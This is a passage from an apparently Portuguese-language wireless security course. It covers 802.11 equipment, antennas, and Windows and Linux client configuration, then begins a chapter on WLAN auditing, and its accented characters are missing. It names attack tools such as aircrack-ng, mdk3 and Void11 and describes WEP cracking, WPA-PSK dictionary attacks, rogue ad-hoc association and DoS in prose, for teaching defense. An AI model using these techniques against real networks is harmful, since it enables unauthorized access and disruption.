Vimos que o prximo padro de redes 802.11 IEEE 802.11n (Standard for Enhancements for Higher Throughput), que elevar a velocidade das WLAN para outro patamar. Assim como ocorreu com WPA (pr-padro), que foi baseado no draft de 802.11i, hoje diversos fabricantes j esto oferecendo equipamentos baseados no draft de 802.11n. Suponha que seu gerente seja um early adopter, ou seja, uma pessoa que adota novas tecnologias to logo elas surjam. Usando, como argumentos, caractersticas dos padres 802.11a/b/g, requerimentos de trfego entre equipamentos da WLAN e problemas que os atuais equipamentos baseados na verso draft de 802.11n apresentaram (consulte refern cias a seguir), convena-o a desistir de implantar esses novos equipamentos na organizao. Referncias: 11 Status of Project IEEE 802.11n: Standard for Enhancements for Higher Throughput: http://grouper.ieee.org/groups/802/11/Reports/tgn_update.htm 11 ZDNet: How to jam your neighbors Wi-Fi legally: http://blogs.zdnet.com
Captulo 1 - Roteiro de Atividades
23
11 Toms Networking : Draft 802.11n Revealed: Part 1: The Real Story on Throughput vs. Range e Part 2: Interoperable? Not so much: http://www.tomsnetworking.com
Atividade 1.4 WPA2 e RSN

Defina Wi-Fi (Protected Access WPA), Wi-Fi Protected Access (2WPA2) e Robust Security Network (RSN) com base no documento SP800-97 do NIST, explicando como certificao (WPA2) e conceito (RSN) se relacionam.
Atividade 1.5 Projeto de WLAN com interseco de clulas

Suponha que precisamos configurar WLAN para a nossa empresa. Foi realizado uma compra de cinco Access Points, um para cada departamento. Esses Access Points devem ser confi gurados de forma a evitar interferncias entre as redes, evitando assim colises e retrans misso de pacotes. A figura a seguir apresenta o raio de ao da irradiao da antena de cada Access Point. Todos os Access Points so 802.11b/g homologados para funcionamento no Brasil.
Diretoria
AP-05
Engenharia
AP-01 AP-02
Administrao
AP-03
Recursos Humanos
AP-04
TI
Figura 1.8 Raio da irradiao da antena de cada AP.
Preencha a tabela a seguir com o canal que cada AP de estar configurado: AP 01 02 03 04

SSID Diretoria Administrao RH TI Engenharia
CANAL
05
24
2
WLAN: equipamentos e configurao
objetivos
Apresentar os dispositivos tpicos de uma WLAN, a configurao de clientes e os problemas relacionados, em redes Windows e Linux; identificar os componentes de uma rede sem fio.
conceitos
Configurao de clientes WLAN.
Introduo
Access Point (AP): 11 Elemento-chave de uma WLAN. 11 Ponto de acesso rede cabeada. 11 Principais modos: 22 Root (padro). 22 Repeater. 22 Bridge. O AP o principal elemento de uma WLAN. Normalmente, responsvel por conectar os
clientes rede cabeada, por meio da interface Ethernet. Esse modo conhecido como Root. Outros modos de operao: 11 Bridge: usado para ligar dois segmentos de rede cabeados por meio de uma rede sem fio; 11 Repeater: um AP em modo Repeater se conecta a um AP em modo Root como cliente, e os clientes, por sua vez, se conectam ao AP Repeater.
Captulo 2 - WLAN: equipamentos e configurao
Exerccio de nivelamento 1 e WLAN

O que uma WLAN?
25
Acess Point
Opes tpicas: 11 Potncia ajustvel. 11 Firewall bsico. 11 Antenas destacveis. 11 Filtro por MAC. 11 Servidor DHCP para WLAN e LAN (portas RJ-45). 11 Atualizao de firmware. Os APs mais comuns do mercado so, na realidade, Broadband Routers; ou seja, no se limitam ao papel de switch sem fio oferecem diversas funcionalidades interessantes a um dispositivo e normalmente exercem o papel de gateway. Uma funo caracterstica de um gateway presente nesses equipamentos a de servidor DHCP, importante na alocao dinmica de endereos IP para os clientes que se associam ao AP. Os endereos mais usados nesse tipo de servidor so os das classes 10/8 (10.0.0.0-10.255.255.255), 172.16/12
(172.16.0.0-172.31.255.255) e 192.168/16 (192.168.0.0). Essas redes so especificadas na RFC 1918 (Address Allocation for Private Internets). O ajuste da potncia de transmisso mal interpretado como sendo uma medida de segu rana. Possui alguma utilidade como maneira de se evitar que atacantes capturem trfego na preparao de ataques contra a WLAN (como WEP, WPA; mas difcil conter as ondas de rdio). melhor que o administrador de rede se empenhe em tornar a WLAN segura por criptografia e outros mecanismos do que pela diminuio da potncia, que ainda pode impedir que certos clientes se conectem. Outra funo mal interpretada como associada segurana o filtro por endereo Medium Access Control (MAC), que restringe a associao de clientes a apenas uma relao previamente conhecida. Essa opo detm apenas usu rios comuns, j que trivial alterar esse endereo para se fazer passar por outra interface. Outra funo tpica a de firewall, ou seja, um filtro de pacotes bsico com base em ende reos e portas TCP/IP de origem e destino. Por meio dessa funcionalidade possvel, por exemplo, ter acesso interface administrativa no apenas por intermdio da WLAN, o que mais comum, mas tambm por meio da LAN. A atualizao de firmware um aspecto interessante para explorar os recursos do equipamento com um sistema operacional do dispositivo alternativo ou para eli minar bugs e vulnerabilidades de segurana.
Clientes WLAN
Fit AP:
11 Tambm chamados de Fat APs. 11 Inteligncia no AP. 11 Configurao individual. 11 Administrao trabalhosa. Thin AP: 11 Figura do switch centralizado. 11 APs burros.
26
11 Configurao centralizada.
w
Para verificar a compatibilidade de uma interface sob Linux, consulte o site: http://linux-wless. passys.nl/
A escolha de clientes muito importante, especialmente quando a compatibilidade sob Linux importa. Outro aspecto importante a incompatibilidade entre marcas diferentes, em especial nos padres proprietrios de acelerao Afterburner/SpeedBooster da Broadcom e D-Link AirPlus Extreme, por exemplo. D preferncia para as interfaces com chipsets Atheros ou Ralink. H ferramentas de auditoria muito teis que podem ser executadas somente com uma determinada interface e driver.
Figura 2.1 Tipos de interfaces para redes sem fio.
Conceitos sobre antenas

Polarizao: 11 Horizontal. 11 Vertical. 11 Ganho medido em dBi. Beamwidth: 11 Horizontal. 11 Vertical. 11 Perdas no caminho (Free Space Path Loss) maior fonte de perda. 22 Maior frequncia, maior FSPL, menor distncia.
11 Polarizao: orientao fsica da antena. Ondas de rdio so compostas de dois campos, eltrico e magntico. Na polarizao Horizontal, o campo eltrico paralelo superfcie da Terra enquanto que, na Vertical, o campo eltrico perpendicular; 11 Ganho: medido em dBi (decibels referenced to an isotropic radiator). No possvel criar um irradiador isotrpico, como o sol, apenas 360 no plano Horizontal. O padro de irra diao tem a forma de uma rosca. Antenas, por seu carter passivo, no fazem nada mais do que espremer a rosca para aumentar a abrangncia;
11 Beamwidth: largura do sinal RF que a antena transmite, aumento e diminuio no ganho de uma antena. medido em graus e tambm tem como referncia a superfcie da Terra. Valores mais comuns por tipo de antena: 22 Omni: H 360 V 7-8; 22 Patch: H 30-180 V 6-90; 22 Yagi: H 30-78 V 14-64; 22 Dish (prato): H 4-24 V 4-21; 22 Free Space Path Loss: perda no sinal RF por disperso, principalmente. Frmula para FSPL, onde F frequncia e d, a distncia em metros: FSPL (dB) = 32.5 + 20 log F + log d.
27
A 100 metros de distncia, por exemplo, a perda por PL de 80.23 dB.
Antena Omnidirecional (dipolo)

11 Mais comum. 11 Irradia energia igualmente em torno de seu eixo. 11 Aumento no ganho. 22 Rosca se torna uma panqueca.
Figura 2.2 Antena Omnidirecional (dipolo).
Antena Semidirecional
11 Painel e Yagi (ilustraes). 11 Irradia mais em uma direo. 11 Alto ganho, normalmente a partir de 8.5 dBi. 11 til para bridge entre pontos um pouco mais distantes.
Figura 2.3 Antena Semidirecional.
28
Antena altamente direcional

11 Comunicao ponto a ponto. 11 Beamwidth estreito. 22 Foco direcionado. 22 Maior alcance.
Figura 2.4 Antena altamente direcional.
Os grficos que ilustram o padro de irradiao foram gerados pelo Numerical Electromagnetic Code (NEC) Finite-Element Antenna Simulator Lawrence Livermore Laboratories.
Amplificadores
11 Aumentam a amplitude de um sinal de RF e a sensibilidade. 11 Dois tipos: 22 Unidirecional (envio). 22 Bidirecional (envio e recepo). 11 Ganho fixo ou varivel.
Atenuadores
11 Necessrios para provocar perda calculada. 11 Evitam violaes nas determinaes de FCC/Anatel.
Figura 2.5 Amplificador.
Splitter
11 Divide sinal em mltiplos sinais RF. 11 Aplicao em mltiplas antenas. 11 No recomendado. 22 Introduz perda.
29
Figura 2.6 Splitter.
Conectores
11 Proprietrios. 11 Impedncia deve combinar com cabos. 22 Voltage Standing Wave Ratio (VSWR). 11 Mais comuns: N-type e SMA.
Figura 2.7 Conectores.
Cabos
11 Principais: Andrew, Times Microware e Belden. 11 Mais usado: Times Microwave LMR. 22 Maior nmero, menor perda. 22 LMR-100, LMR-400 e LMR-800. Cuidados: 11 Mais curto possvel (perda). 11 Mesma impedncia dos outros componentes (VSWR) e frequncia superior (2.5 GHz para WLAN 2.4 GHz). 11 Procure por cabos manufaturados, no montados. 11 Escolha aquele com menor perda.
Exerccio de fixao 1 e WLAN: equipamentos e acessrios

1. O que um AP?
30
2. O que polarizao?
3. Quais os tipos de antenas existentes?
Configurao de clientes
Windows
11 Plataforma nativa de praticamente todas as interfaces. 11 Wireless Zero Configuration Service (WZCSVC). 11 Sem suporte a RFMON. 22 Captura de quadros 802.11 de gerenciamento. 11 Esquemas mais comuns: 22 Autenticao: WEP (inseguro), WPA, WPA-PSK, WPA2 e WPA2-PSK. 22 Criptografia: TKIP (WPA) e AES (WPA2). 22 EAP Types: PEAP (PEAPv0/EAP-MSCHAPv2) e EAP-TLS. Lembretes no Windows: 11 Desativar WZCSVC, caso opte por controlar a interface pelo servio do fabricante. 11 Restringir associaes a redes de infraestrutura ou ad-hoc (Advanced). Definio dos parmetros de WLAN: 11 WZCSVC. 22 Associao ao AP simplificada. O suporte a interfaces WLAN no Microsoft Windows est voltado facilidade de uso. Alguns detalhes teis a um usurio mais avanado como BSSID do AP so omitidos, de forma que dois APs distintos com o mesmo SSID so exibidos como sendo um nico SSID.
importante observar que o uso do servio WZCSVC facultativo na maioria das vezes, j que as interfaces normalmente so acompanhadas de drivers do fabricante. Entretanto, preciso escolher qual dos servios controlar a interface se escolher pelo servio do fabri cante, devemos desativar o WZCSVC, conforme veremos a seguir.
31
Em janeiro de 2006, durante a conferncia ShmooCon 2006, Mark Simple Nomad Loveless anunciou uma vulnerabilidade na escolha automtica de redes do WZCSVC. Suponha que o notebook de Alice est configurado para usar um SSID CASA. Fora do alcance de seu AP, se Bob configurar sua estao com o mesmo SSID, o notebook de Alice se associa rede ad-hoc de mesmo nome. Na prxima vez que Alice ligar seu notebook sem um AP com SSID CASA nas proximidades, ele passar a anunciar uma rede ad-hoc com SSID CASA.
Figura 2.8 Desativando o WZCSVC. Figura 2.9 Restringir associaes a redes de infraestrutura ou ad-hoc (Advanced).
Linux
11 Drivers ainda constituem um problema. 11 Chipsets melhor suportados por drivers e ferramentas: 22 Prism, Orinoco e Atheros (nesta ordem). 11 Demais chipsets: 22 Suporte muitas vezes parcial. 22 Sem o modo RFMON. 11 Drivers: 22 Hostap chipset Prism 22 WLAN-ng. 22 MADWIFI chipset Atheros. 22 Wavelan chipset Orinoco. 22 RT73 Ralink. 22 Ndiswrapper instalao de driver Windows (.INF) sob Linux. 11 Utilitrios: 22 Wireless Tools (WT).
22 iwconfig, iwlist, iwspy, iwpriv, ifrename. 11 Definio dos parmetros de WLAN: 22 Iwconfig: 33 Canal, SSID, modo, chave e taxa de transmisso.
32
11 Interfaces Atheros com mdulo MadWifi: 22 wlanconfig. 11 Modo master: 22 Primeiro passo para transformar uma estao em um AP. Alguns softwares e sua compatibilidade entre os chipsets: A = Atheros cards / O = Orinoco cards / P = Prism cards / R = Ralink cards. 11 Kismet AOPR; 11 Wellenreiter O; 11 Karma APR; 11 Aircrack AOPR; 11 Aircrack-ng AOPR; 11 Airsnort OP; 11 WEPAttack AOPR; 11 WEPCrack AOPR;
w
O site Linux wireless LAN support compila interfaces suportadas em Linux por fabricante, tipo de interface (PCI, USB, PCMCIA etc.) ou chipset, facilitando a escolha de um usurio mais exigente.
11 FakeAP P (Airbase-ng AR); 11 Void11 P (mdk3 AR); 11 Wifitap AP; 11 Wireshark AOPR. Drivers baseados nos chipsets Prism, Atheros e Ralink so altamente recomendveis, pois so os mais suportados por utilitrios Linux. Isso se deve s ferramentas disponveis que, na maioria dos casos, exigem drivers HostAP (chipset Prism), MadWifi (chipset Atheros) e RT73 (chipset Ralink). As marcas e modelos disponveis no mercado so vrias e o suporte a Linux imprevisvel.
33
34
Atividade 2.1 Configurao de um cliente Windows
Neste primeiro exerccio, configuraremos um cliente Windows para uma rede tpica. A configurao de um cliente Windows para uma WLAN WEP, para uma WPA Personal (WPA-PSK) ou para uma WPA2-Personal (WPA2-PSK) difere apenas na solicitao de uma senha. Note que nem todas as interfaces de rede so capazes de se associar a redes WPA e WPA2, Personal (PSK) ou Enterprise. Isso se deve ao suporte de hardware e software (drivers), o que no existia para alguns equipamentos mais antigos. Portanto, esse problema no acontecer nesta atividade, uma vez que as interfaces de rede adotadas so compat veis com os padres de segurana mais recentes.
Verificando o status do servio Wireless Zero Configuration

Se a instalao do driver da interface de rede WLAN ocorreu com sucesso, bem provvel que o gerenciamento da interface seja feito por meio do servio Wireless Zero Configuration (WZCSVC) ou Configurao zero sem fio, padro no Windows XP. Para verificar se o servio est ativo, siga os seguintes passos:
1. Siga a seguinte sequncia de menus, a partir do menu Start/Iniciar:
11 Windows XP em ingls: Start, Control Panel, Administrative Tools e Services. 11 Windows XP em portugus: Iniciar, Painel de Controle, Ferramentas Administrativas e Servios.
35
2. Quando o servio est ativo, tendo sido disparado quando o sistema foi ligado (caso
tpico), os campos Status e Startup Type exibem os valores Started e Automatic, respectivamente. Isso pode ser confirmado clicando com o boto direito do mouse sobre a entrada Wireless Zero Configuration (conforme figura anterior), e em seguida selecio nando Properties/Propriedades.
3. O servio tambm pode ser iniciado via prompt de comando executando o comando net
start wzcsvc. Uma vez garantido que o servio WZCSVC esteja em operao, podemos partir para a confi gurao da interface WLAN.
36
Configurao bsica de uma interface de rede

A configurao de uma interface WLAN em Windows XP bem simples e intuitiva. Existem diversos caminhos para se chegar interface grfica de configurao, mas aqui descreve remos o que consideramos tpico de uma instalao padro de Windows XP. A interface de seleo de redes disponveis pode ser chamada tanto pela opo Open Network Connections quanto pela opo View Available Wireless Networks. Seleciona remos a primeira opo, para que tenhamos uma viso mais ampla de como a interface WLAN se comporta no sistema. A interface WLAN se comporta como uma interface Ethernet para o sistema, inclusive na forma como recebe os pacotes da camada fsica da rede. Veremos que uma vez associado rede com auxlio do servio WZCSVC ou do driver do fabricante, o cliente recebe trfego de rede como se fosse uma interface Ethernet. Para a pilha TCP/IP do sistema operacional (SO) no importa se a camada de rede (IP) recebe pacotes de uma interface Token Ring, 802.11 ou Ethernet o driver se encarrega de entregar para a camada IP pacotes no formato esperado
por esta camada de rede. Ao clicar duas vezes sobre a interface de rede WLAN, finalmente chegamos interface grfica do Wireless Zero Configuration. Redes sem nenhum mecanismo de segurana apresentam a legenda Unsecured wireless network. Para se associar rede, basta clicar sobre a rede desejada (ESR-WIFISEG). Uma mensagem de confirmao normalmente exibida, confirmando se o usurio realmente deseja associar o cliente a uma rede sem segurana.
37
Ao clicar em Connect Anyway/Conectar de qualquer forma, o processo de associao iniciado. Uma vez associada, a interface entregue camada IP de TCP/IP que, tipicamente, tenta configurar a interface por DHCP. Quando a interface grfica do WZCSVC exibir o texto Connected/Conectado, sua interface WLAN j foi configurada com um endereo IP e a configurao est concluda. Note que, em nenhum momento, a interface grfica informa o canal da rede em questo.
Consideraes sobre segurana

Tal como uma interface Ethernet, a interface WLAN normalmente configurada automaticamente com algumas opes que recomendamos desativar, em especial as relativas a redes ad-hoc. Selecione na janela Network Connections (h outros caminhos tambm) a interface em questo (Wi-Fi) com o boto direito do mouse e, depois, escolha a opo Properties. Depois, selecione a aba Wireless Networks, conforme mostrado na ilustrao a seguir.
38
Clique no boto Advanced (seo inferior direita) para definir os tipos de rede aos quais o cliente poder se associar.
A possibilidade de associao automtica a redes preferidas (Preferred) um dos grandes problemas de clientes WLAN Windows. Como foi apresentado na conferncia hacker ShmooCon 2006, a forma como o WZCSVC seleciona as redes pode levar associao com apenas associaes com Access Points sejam permitidas, ou seja, em uma rede infraestrutu rada. Desmarcar a opo Automatically connect (mostrada na ilustrao anterior) impede que o cliente se associe automaticamente a redes no conhecidas previamente.
um n ad-hoc com o mesmo nome da rede preferida. Configure a interface de modo que
Atividade 2.2 Configurao de um cliente Linux

Assim como ocorre em um cliente Windows, antes de configurar a interface WLAN necessrio verificar se o driver (mdulo em Linux) est devidamente instalado e carregado. Em seguida, configuraremos a interface para as WLAN mais tpicas: aberta, WEP e WPA/WPA2.
39
No utilizaremos interfaces grficas para a configurao em Linux porque variam de distri buio para distribuio. A configurao por linha de comando, por outro lado, d ao aluno uma viso mais detalhada das etapas da configurao de uma interface WLAN. Antes de qualquer comando, certifique-se de que seu usurio detm privilgios de superu surio ou seja, root. Em sua mquina virtual VMware do BackTrack 3, execute o seguinte comando em um console:
# sudo su
Verificando a presena e a atividade dos drivers

Para verificar se j existem interfaces 802.11 reconhecidas, execute o comando iwconfig sem nenhum parmetro.
# iwconfig lo no wireless extensions.
eth0
no wireless extensions.
rausb0
IEEE 802.11g Mode:Managed
ESSID:off/any Frequency:2.437 GHz Access Point: Not-Associated
Bit Rate:54 Mb/s RTS thr:2347 B
Tx-Power:25 dBm Fragment thr:2346 B
Encryption key:off Power Management:off Link Quality:0 Signal level:0 Noise level:0 Rx invalid frag:0 Missed beacon:0
Rx invalid nwid:0
Rx invalid crypt:0 Invalid misc:0
Tx excessive retries:0
A resposta do comando informou que h uma interface com nome rausb0 ativa, ou seja, no necessrio instalar ou carregar mdulos (drivers). No caso do nosso laboratrio, encon traremos sempre interfaces com nome rausb0, normalmente o nome padro atribudo a interfaces Ralink com mdulo rt73. Caso a resposta do comando anterior informe que no h nenhuma interface com exten ses wireless (no wireless extensions), ser necessrio instalar ou simplesmente carregar o mdulo (driver). Uma vez que o mdulo rt73:
# modinfo rt73 # modprobe -v rt73

Depois de instalado, o sistema lista o driver como instalado. Confirme se os mdulos foram carregados, executando o seguinte comando:
# lsmod
40
Apenas para informao, os arquivos de mdulos normalmente ficam nos seguintes diretrios:
/lib/modules/2.6.x
Comandos bsicos de configurao

Linux oferece um conjunto de utilitrios essenciais na configurao de uma interface WLAN. O utilitrio que exerce o papel de supplicant na infraestrutura 802.1x wpa_supplicant. O conjunto de ferramentas Wireless Tools for Linux, presente em praticamente qualquer distribuio Linux, composto das seguintes ferramentas: 11 Iwconfig : parmetros bsicos; 11 iwlist: varredura por redes, listando frequncias oferecidas pelo AP, taxas de trans misso (bit-rate) e outras configuraes; 11 iwspy : exibe qualidade do link; 11 iwpriv : manipulao de extenses wireless especficas de um driver (private); 11 ifrename: permite nomear interfaces com base em critrios estticos.
Configurao bsica de uma interface de rede rede aberta

Para buscar por redes nos arredores, execute os seguintes comandos:
# ifconfig rausb0 up # iwlist rausb0 scan rausb0 Scan completed : Cell 01 - Address: 00:14:BF:XX:XX:XX ESSID:rnpesr Protocol:IEEE 802.11g Mode:Managed Frequency:2.437 GHz (Channel 06) Quality:0/100 level:-256 dBm Encryption key:off Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s 24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9
Signal level:-32 dBm
Noise
Mb/s 12 Mb/s; 48 Mb/s Extra:bcn_int=100 Extra:atim=0
41
Pela sada desse comando, possvel conhecer a rede qual nosso cliente se conectar. O exemplo mostra o SSID rnpesr e o canal 6 (2.437 GHz). De posse desses dados, j podemos configurar a interface para uma rede aberta. Verifique qual ser o SSID e canal utilizados no laboratrio:
# iwconfig rausb0 mode managed essid rnpesr channel 6 # iwconfig rausb0 rausb0 IEEE 802.11g Mode:Managed 00:14:BF:XX:XX:XX Bit Rate:54 Mb/s RTS thr:2347 B Tx-Power:25 dBm Fragment thr:2346 B ESSID:rnpesr Frequency:2.437 GHz Access Point:
Encryption key:off Power Management:off Link Quality:100/100 Rx invalid nwid:0 Signal level:-35 dBm Rx invalid crypt:0 Invalid misc:0 Noise level:-256 dBm Rx invalid frag:0 Missed beacon:0
11 O modo managed indica que a interface est sendo configurada para se associar a um AP. Outros modos comuns so: monitor (para captura de quadros de dados, controle e gerenciamento), master (permite que a interface aja como AP) e ad-hoc (clulas sem um AP). Uma vez configurada a interface, j possvel configurar um endereo IP ou configurar a interface automaticamente por DHCP.
# dhcpcd rausb0
Configurao bsica de uma interface de rede WEP

A configurao de uma rede WEP 104 bits, popularmente conhecida como 128 bits, difere em apenas um parmetro a mais do comando iwconfig: key, com a chave em hexadecimal.
# iwconfig rausb0 channel 6 essid rnpesr mode managed key 11111AAAAA11111AAAAAEEEEE0

Depois de configurada a interface, j possvel configurar parmetros de rede (IP, mscara de rede, gateway), seja manualmente ou por DHCP. Uma interface configurada para uma rede WEP apresenta a seguinte configurao:
# iwconfig rausb0 rausb0 IEEE 802.11g Mode:Managed 00:14:BF:XX:XX:XX Bit Rate:54 Mb/s RTS thr:2347 B Tx-Power:25 dBm Fragment thr:2346 B ESSID:rnpesr Frequency:2.437 GHz Access Point:
42
Encryption key:1111-1AAA-AA11-111A-AAAA-EEEE-E0 mode:restricted Power Management:off Link Quality:100/100 dBm Rx invalid nwid:0 Rx invalid crypt:0 Invalid misc:0 Signal level:-57 dBm
Security
Noise level:-256
Rx invalid frag:0 Missed beacon:0
Configurao bsica de uma interface de rede WPA

A configurao de uma rede com WPA requer um utilitrio adicional: wpa_supplicant. Esse utilitrio impe algumas limitaes, uma vez que no oferece suporte a todos os drivers Linux. Outro fator limitante a prpria interface, que pode no oferecer suporte a WPA, assim como mecanismos de segurana mais recentes. Atualmente (verso 0.5.10), os nicos drivers com suporte so: 11 hostap: Host AP driver (Intersil Prism2/2.5/3). 11 madwifi: MADWIFI 802.11 support (Atheros etc.). 11 atmel: ATMEL AT76C5XXx (USB, PCMCIA). 11 wext: Linux wireless extensions (generic). 11 ndiswrapper: Linux ndiswrapper. 11 ipw: Intel ipw2100/2200 driver. 11 wired: wpa_supplicant wired Ethernet driver. Caso voc esteja usando um driver diferente, o processo de autenticao ou associao no ser concludo. A configurao inicial da interface igual de uma rede aberta.
# iwconfig rausb0 mode managed essid rnpesr channel 6

Usaremos apenas alguns parmetros do comando wpa_supplicant; para uma lista completa, consulte a ajuda on-line do mesmo comando man wpa_supplicant ou, simplesmente, execute o comando sem parmetros. As opes que utilizaremos so: -B = run daemon in the background -c = configuration file -i = interface name -d = increase debugging verbosity (-dd even more) -D = driver name
Para a rede WPA configurada e antes de executarmos o comando wpa_supplicant..., editaremos em qualquer editor de texto (gedit, vi) o arquivo de configurao wpa-psk-tkip. conf em /etc/wpa_supplicant. Se o diretrio no existir, crie o mesmo com o comando mkdir /etc/wpa_supplicant :
# WPA-PSK/TKIP
ctrl_interface=/var/run/wpa_supplicant
43
network={ ssid=rnpesr key_mgmt=WPA-PSK proto=WPA pairwise=TKIP group=TKIP psk=chave compartilhada

} Para testar se a configurao est correta, execute o seguinte comando:
# wpa_supplicant -d Dwext irausb0 -c/etc/wpa_supplicant/wpa-psktkip.conf

Ateno ao driver e interfaces compatveis com o WPA para obter sucesso na associao. A opo -d exibir todas as mensagens da transao. Para configurao automtica, a opo -B mais conveniente, j que mantm o programa em execuo, porm em segundo plano (background).
# wpa_supplicant -B Dwext irausb0 -c/etc/wpa_supplicant/wpa-psktkip.conf

Uma vez concludo com sucesso (veja com ateno a sada do comando com a opo -d ), a associao realizada. Abaixo, uma sada tpica indicando o sucesso da associao:
State: GROUP_HANDSHAKE -> COMPLETED CTRL-EVENT-CONNECTED - Connection to 00:14:bf:xx:xx:xx completed (auth) EAPOL: External notification - portValid=1 EAPOL: External notification - EAP success=1 EAPOL: SUPP_PAE entering state AUTHENTICATING EAPOL: SUPP_BE entering state SUCCESS EAP: EAP entering state DISABLED EAPOL: SUPP_PAE entering state AUTHENTICATED EAPOL: SUPP_BE entering state IDLE
EAPOL: startWhen --> 0

Uma vez associado rede, o cliente pode prosseguir com a configurao dos parmetros de rede, normalmente por meio da execuo de um cliente DHCP. Note que o processo do wpa_supplicant dever permanecer ao longo de toda a durao da associao.
# dhcpcd rausb0
44
Configurao com a ferramenta wicd

O wicd um gerenciador de redes sem-fio para Linux, que visa fornecer uma interface grfica simples para auxiliar na conexo redes Wi-Fi. Essa ferramenta simplifica o processo de estabelecimento de conexo a uma rede Wi-Fi, podendo estar configurada com WEP, WPA-PSK ou WPA-Enterprise. Para utilizar o wicd necessrio verificar se o daemon wicd est em execuo:
# ps ax | grep wicd
Caso o daemon no esteja em execuo, execute o seguinte comando:
# wicd
A interface grfica de manipulao do wicd iniciada a partir do comando wicd-client ou atravs do menu Iniciar (Application Launcher Menu), Internet, Wicd Network Manager. A seguinte tela ser aberta:
Na tela inicial do wicd possvel visualisar as redes disponveis. Note que ao lado do SSID existe a informao da potncia do sinal, configurao de segurana e canal. Para se conectar, escolha uma rede e clique no boto Connect logo abaixo o SSID da rede.
45
Caso a rede necessite de uma configurao de segurana (WEP, WPA etc), ao clicar em conectar, a seguinte tela ser exibida:
Clique em OK e, em seguida, no boto Properties logo abaixo do SSID da rede escolhida. A seguinte tela ser exibida:
46
Escolha o mtodo de autenticao na caixa de seleo acima do campo Key. Para utili zao de uma chave pr-compartilhada (PSK), escolha a opo WPA 1/2 (Preshared Key) e informe a chave no campo Key, como pode ser visto na figura a seguir:
Clique em OK e na tela principal do wicd, depois clique em Connect. A conexo ser efe tuada e a informao do endereo IP aparecer na barra de status do wicd, como pode ser
visto na figura a seguir:
47
l
Saiba mais
O wicd um frontend para os comandos padro de manipulao de redes Wi-Fi no Linux, como: iwconfig, iwlist, wpa_supplicant e dhclient/dhcpcd.
Para desconectar da rede, clique no boto Disconnect, abaixo do SSID da rede escolhida. Se desejar que determinada rede configurada se conecte automaticamente ao iniciar o wicd, habilite a opo Automatically connect to this network.
48
3
Auditoria em redes sem fio (parte 1)
objetivos
Apresentar as principais classes de ataques a redes sem fio; analisar e capturar trfego MAC 802.11; ensinar a utilizao dos analisadores de trfego em uma WLAN.
conceitos
Principais tipos de ataques e as caractersticas da camada MAC de 802.11; captura de trfego e anlise por meio de ferramentas como Wireshark, TCPdump e Airodump-ng.
Introduo
Estima-se que 70% dos ataques bem-sucedidos contra Access Points e clientes de WLANs ocorrem pelas seguintes causas (Gartner): 11 Configurao mal realizada. 11 Concepes erradas sobre segurana em redes sem fio. 11 Risco envolvido em no entender as vulnerabilidades ou assumir que a rede est segura a priori. Redes sem fio esto cada vez mais presentes nas empresas, casas e espaos pblicos. Os
problemas de WEP, que tornaram as WLANs notrias pela insegurana, j foram sanados e hoje existem implementaes altamente seguras de WLAN. J hora de apontar os verda deiros culpados pela insegurana: os administradores.
Ataques a redes sem fio

Seja um usurio domstico ou um administrador de uma WLAN de uma pequena empresa, em qualquer caso preciso considerar aspectos de segurana na configurao de um AP.
SOHO Small Office Home Office. Redes domsticas ou de pequenos escritrios.
Os APs voltados para o mercado SOHO, adequados para usurios domsticos e pequenas empresas, j contam com recursos de segurana suficientes para a implantao de uma rede segura, ou seja: que no permita acesso no autorizado, que proteja os dados de interceptao e leitura e que impea um atacante de inserir trfego arbitrrio.
Concepes erradas
11 Utilizamos filtro por endereos MAC. 11 WEP melhor que nada.
Captulo 3 - Auditoria em redes sem fio (parte 1)
49
11 Uso WPA-PSK e estou seguro. 11 Ningum encontrar minha rede wireless. 11 Ataques DoS exigem equipamentos caros, de difcil acesso. 11 Estamos seguros porque usamos autenticao ou criptografia. 11 Segregamos nossa WLAN. 11 No temos redes sem fio em nossa empresa. 11 Temos firewall. 11 Ningum nos invadiria. Existem diversas concepes erradas sobre segurana de redes sem fio, conferindo falsa impresso de segurana a quem configura uma WLAN. Pode-se dizer que hoje uma WLAN verdadeiramente segura deve contar, pelo menos, com as seguintes caractersticas:
11 Mecanismo de segurana: pelo menos WPA Personal (WPA-PSK) com uma senha forte, preferencialmente WPA2 Enterprise (WPA2 com 802.1x e EAP); 11 Virtual Private Network (VPN): para proteger os dados entre a estao e o ponto final da conexo, caso se queira garantir que no haja interceptao dos dados na rede de distribuio a qual o AP conectado; 11 Polticas de acesso e monitorao: deve-se contar com polticas que definam quem tem e quem no tem acesso e com o monitoramento dos fluxos de acesso. Algumas concepes erradas divulgadas na mdia e referncias sobre segurana de redes sem fio: 11 Filtro por MAC Address: filtro por endereo MAC restringe acesso em redes cabeadas, o que no acontece em redes sem fio, uma vez que em uma rede cabeada tem-se maior controle do meio (controlar o acesso a determinada porta do switch). Como em redes sem fio no existe uma forma de controlar o acesso ao meio, fica mais fcil descobrir quais endereos MAC esto liberados e alterar o endereo MAC trivial, em Linux ou Windows; 11 WEP: WEP 40 bits pode ser quebrado em questo de minutos; o de 128 bits leva um pouco mais de tempo. A quebra depende de vrios fatores, entre eles a quantidade de colises (repetio de IV) e quantidade de trfego coletada; 11 WPA-PSK : esse tipo de rede tambm vulnervel a ataques de dicionrio, bastando a captura da fase de handshaking de 4 vias (EAPOL). O uso de senhas fortes reco mendado, tal como ocorre em diversas aplicaes com acesso autorizado mediante a apresentao de senha; 11 Ningum encontrar minha rede: qualquer cliente dentro do alcance do seu AP pode enxergar o trfego de sua rede e, com isso, avaliar a possibilidade de ataque. Muitos administradores tm a viso de rede sem fio que o Windows oferece e, sob a plataforma
Linux, possvel visualizar qualquer tipo de trfego, mesmo em canais incomuns (como 12 e 14). Mesmo que a rede esteja configurada para no fazer broadcast de SSID, ainda assim, se houver trfego de dados na rede, possvel descobrir o SSID com ferramentas como o airodump-ng e kismet; 11 Ataques DoS: ataques de negao de servio so simples e baratos em uma WLAN. Ferramentas como Void11, em conjunto com uma interface de rede com chipset Prism, ou mdk3 para chipsets Atheros ou Ralink, so suficientes para conduzir um ataque bem-sucedido;
50
